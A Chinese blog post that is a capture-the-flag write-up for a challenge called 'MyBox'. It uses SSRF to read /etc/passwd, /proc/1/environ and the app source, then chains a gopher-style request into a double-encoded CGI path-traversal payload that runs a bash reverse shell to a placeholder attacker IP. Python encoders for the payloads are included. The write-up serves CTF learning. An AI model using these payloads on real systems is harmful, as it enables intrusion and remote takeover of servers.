nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

MyBox

总结

file一般会去读哪些文件? gopher伪协议在这里探测内网可以干嘛,ssrf题目的思路一般离不开gopher协议

题解

看到有个url参数

猜测这里存在SSRF漏洞。尝试伪协议读取/etc/passwd,成功,存在SSRF。


    /?url=file:///etc/passwd

一:读取环境变量/proc/1/environ,获得flag。(非预期)


    /?url=file:///proc/1/environ

二:读取start.sh


    /?url=file:///start.sh 

发现源码路径读取源码

读取源码:/?url=file:///app/app.py


    from flask import Flask, request, redirect
    import requests, socket, struct
    from urllib import parse
    app = Flask(__name__)
     
    @app.route('/')
    def index():
        if not request.args.get('url'):
            return redirect('/?url=dosth')
        url = request.args.get('url')
        if url.startswith('file://'):
            with open(url[7:], 'r') as f:
                return f.read()
        elif url.startswith('http://localhost/'):
            return requests.get(url).text
        elif url.startswith('mybox://127.0.0.1:'):
            port, content = url[18:].split('/_', maxsplit=1)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect(('127.0.0.1', int(port)))
            s.send(parse.unquote(content).encode())
            res = b''
            while 1:
                data = s.recv(1024)
                if data:
                    res += data
                else:
                    break
            return res
        return ''
     
    app.run('0.0.0.0', 827)

 

这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。

  • 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
  • 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
  • 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
  • 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

如果我们需要探测内网的东西,那据需要gopher协议,这里换成了mybox协议,我们一样的,只需要改就好了。

问题是我们要什么东西呢

我们先随便去打一下

    import urllib.parse
    test =\
    """GET /xxx.php HTTP/1.1
    Host: 127.0.0.1:80
    """
    #注意后面一定要有回车,回车结尾表示http请求结束
    
        tmp = urllib.parse.quote(test)
        new = tmp.replace('%0A','%0D%0A')
        result = 'gopher://127.0.0.1:80/'+'_'+new
        print(result)

得到

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

但是代码修改过,我们需要利用mybox进行交互而不是gopher,修改一下 

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A


这里注意一下,是需要二次URL编码的 

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

img

我们就可以执行命令

    import urllib.parse
    payload =\
    """POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 58
    echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1'  //填入攻击机ip端口
    """
    #注意后面一定要有回车,回车结尾表示http请求结束。
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result) 

      # 这里因为是GET请求发包所以要进行两次url编码
 得到:

    gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

记得修改为mybox 

    mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

传参成功进行反弹shell 找到flag
![2024-01-22T10:37:24.png][1]

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » MyBox

评论